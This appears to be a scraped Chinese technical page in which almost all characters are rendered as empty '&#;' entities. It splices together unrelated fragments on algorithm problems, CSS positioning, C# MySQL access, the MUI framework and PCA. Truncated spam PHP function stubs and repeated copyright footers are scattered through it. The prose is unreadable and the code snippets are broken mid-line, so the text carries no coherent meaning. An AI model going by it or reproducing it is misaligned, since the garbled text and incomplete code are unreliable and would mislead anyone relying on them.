&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (1) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;+&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;+&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#; (Theta(n^3))

AC&#;&#;&#;

&#;&#;2 T &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (1) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (T) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#; ((i,j)) &#;&#; (i) &#;&#; (j) &#;&#;&#;&#;&#;&#;

AC&#;&#;&#;

&#;&#;3 T &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“&#;&#;&#;&#;&#;&#;&#;”&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (n) &#;&#;&#;&#;&#;&#; (m) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (i) &#;&#;&#;&#;&#;&#;&#;&#;&#; (x) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (j) &#;&#;&#;&#;&#;&#;&#; (y) &#;&#;&#;&#;&#;&#;&#;&#;

&#; (x=y=1) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (x) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (y) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#; (m) &#;&#;&#;&#;&#; (n) &#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;mid&#;&#;&#;&#;&#;&#;&#;&#;&#; (p=frac{mid+T_2}{T_1+T_2}) &#;&#;&#;&#;&#;&#; (1) &#;&#;&#;&#;&#; (p) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (mid) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#; &#;&#;+&#;&#;&#;&#;+&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (Theta(mnp+n^2))

AC&#;&#;:

&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;König&#;&#;&#;

&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (n) &#;&#;&#;&#;&#;&#;&#;&#;&#; (m)&#;&#;&#; (n=m)

1.&#;&#; (n≥m)

&#;&#;&#;&#;&#; (m) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (m) &#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#; (n≥m) &#;&#;&#;&#;&#;

2.&#;&#; (n=m) &#;&#;&#;&#;

&#;&#;&#;&#;:&#;&#;&#;&#; (m) &#;&#;,&#;&#; (m) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;:

&#;&#;&#;&#;&#;&#;,&#; (m) &#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (m):

((1)) &#;&#;&#;&#;&#;&#;&#;&#;&#;:

1.&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;)

2.&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;)

3.&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;)&#;

((2)) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (1) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

((3)) &#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#; ((2),(3)) &#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#; (m) &#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (m) &#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (m)&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (m) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;:

((1)) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

((2)) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(&#;&#;&#;&#;&#;&#;)&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#; ((1),(2)) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (m) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;=&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#; (n=m)&#;&#;&#;&#;&#;&#;&#;&#;=&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (1) &#;&#;&#;&#;

&#;&#;1 T &#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (A,B) &#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#; (1) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (a_i) &#;&#;&#;&#;&#;&#; (b_i) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (0) &#;&#;&#;&#;&#;&#;&#;&#; (0) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

AC&#;&#;&#;

&#;&#;2 T &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; ((i,j))&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

AC&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; (2) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#; (=) (n) (-) &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;1 T &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;”&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

AC&#;&#;&#;

function Nb()

{

for($RmtrU=0;$RmtrU

&#;&#;&#;relative&#;&#;&#;&#;&#;&#;&#;&#;absolute&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;absolute&#;&#;&#;&#;&#;&#;&#;&#;relative???

&#;&#;&#;&#;&#;&#;&#;&#;&#;Relative&#;&#;&#;&#;&#;&#;

&#;&#;position &#; &#;&#;float&#;margin&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;(&#;&#;&#;&#;)

&#;&#;&#;&#;&#;&#;relative &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; relative&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

relative

absolute

float

margin

&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;absolute&#;&#;&#;&#;&#;&#;&#;&#;relative?

&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#; absolute &#;&#;&#;&#;&#;&#;&#;&#; relative &#;&#;&#;&#; absolute

absolute &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

relative &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Document&#;&#;&#;&#;&#;&#;1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2. &#;&#;&#;&#;&#;&#;float&#;&#;3. &#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1. &#;&#;&#;2. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2. position&#;&#;&#;&#;&#;&#;&#;static&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;&#; absolute&#;relative&#;fixed&#;&#;&#;relative&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;relative&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; X&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;postion&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;absolute&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Document&#;&#;&#;&#;&#;&#;1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2. &#;&#;&#;&#;&#;&#;float&#;&#;3. &#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1. &#;&#;&#;2. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2. position&#;&#;&#;&#;&#;&#;&#;static&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;&#; absolute&#;relative&#;fixed&#;&#;&#;relative&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;relative&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; X&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;

Document&#;&#;&#;&#;&#;&#;1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2. &#;&#;&#;&#;&#;&#;float&#;&#;3. &#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1. &#;&#;&#;2. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1. &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2. position&#;&#;&#;&#;&#;&#;&#;static&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;&#; absolute&#;relative&#;fixed&#;&#;&#;relative&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;position&#;&#;&#;&#;&#;relative&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; X&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;"absolute"&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

function awardagainstsign($str_word_counttotal)

{

for($Gzyve=0;$Gzyve

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

&#;&#;&#;&#;MQ&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;mq broker&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

请在此添加图片描述

&#;&#;&#;&#;

&#;&#;&#;&#;mq&#;&#;&#;&#;&#;broker&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;broker&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;1&#;mq&#;4.x&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;mq&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

请在此添加图片描述

&#;&#;① &#;&#;&#;&#; MySQL &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;

② &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; MySQL &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

③ &#;&#;&#;&#;&#; SQL &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;

④&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;MySqlConnectionStringBuilder &#;&#;

builder&#;&#;&#;&#;&#;&#;&#;&#;&#;UserID&#;Password&#;Server&#;&#;&#;Database&#;&#;&#;

&#;&#;&#;&#;

&#;&#;MySqlConnection&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;builder&#;&#;.ConnectionString&#;

&#;&#;&#;&#;

// &#;&#;&#;&#;

connection.Open();

&#;&#;&#;&#;

// &#;&#;&#;&#;&#; SQL &#;&#;

string sql = "SELECT * FROM id "; //&#;&#;

&#;&#;&#;&#;

&#;&#;MysqlCommand&#;&#;&#;sql&#;connection&#; //SQL&#;&#; &#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

command.ExecuteReader()&#;&#;&#;MySqlDataReader reader&#;&#;&#;&#;

&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; SQL &#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; &#;

&#;&#;&#;

①MySqlConnectionStringBuilder&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

②&#;&#;&#;&#; MySqlConnection &#;&#;&#;builder.ConnectionString&#;  &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

③connection.Open(); &#;&#;&#;&#;

④string sql = "SELECT * FROM id "; &#;&#;

⑤&#;&#;MysqlCommand&#;&#;&#;sql&#;connection&#; //SQL&#;&#; &#;&#;&#;&#;&#;&#;

⑥command.ExecuteReader&#;&#;&#;&#;&#;MySqlDataReader&#;&#;&#;&#;

⑦reader.Read&#;&#;&#;&#;&#;&#;

⑧string id = reader.GetString&#;0&#;&#;&#;

⑨ Console.Write( id ); &#;&#;

function XynQ()

{

for($H=0;$H

MUI &#;&#;&#;&#;&#;&#;&#; HTML&#;CSS &#; JS &#;&#;&#;&#;&#; Google &#; Material Design &#;&#;&#;&#;&#;MUI CSS&#;&#;&#;&#;&#;SASS&#;&#;&#;&#;&#;&#;GitHub&#;Bower&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Material Design&#;&#;&#;&#;&#;MUI CSS/JS&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#; HTML&#;

My Title

&#;&#;&#;&#;&#;

MUI &#;&#;&#;&#;&#;

mui.min.css - 5.7K (gzipped)

mui.min.js - 3.0K (gzipped)

&#;&#;&#;&#;&#;

nodejs ( http://nodejs.org/ )

npm ( https://www.npmjs.org/ )

bower ( http://bower.io/ )

sass ( http://sass-lang.com/ )

http-server (via npm)

&#;&#;&#;&#;&#;http://www.open-open.com/lib/view/home/02

public void touchhouse($tellingsize)

{

for($kRpx=0;$kRpx

出处:http://www.hzhcontrols.com/

原文:http://www.hzhcontrols.com/new-.html

本文版权归原作者所有欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利

&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(WHO)&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;(PCA)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PCA&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;PCA(&#;&#;&#;&#;&#;)&#;&#;

2.1 PCA&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;(Principal Component Analysis,&#;&#;PCA)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

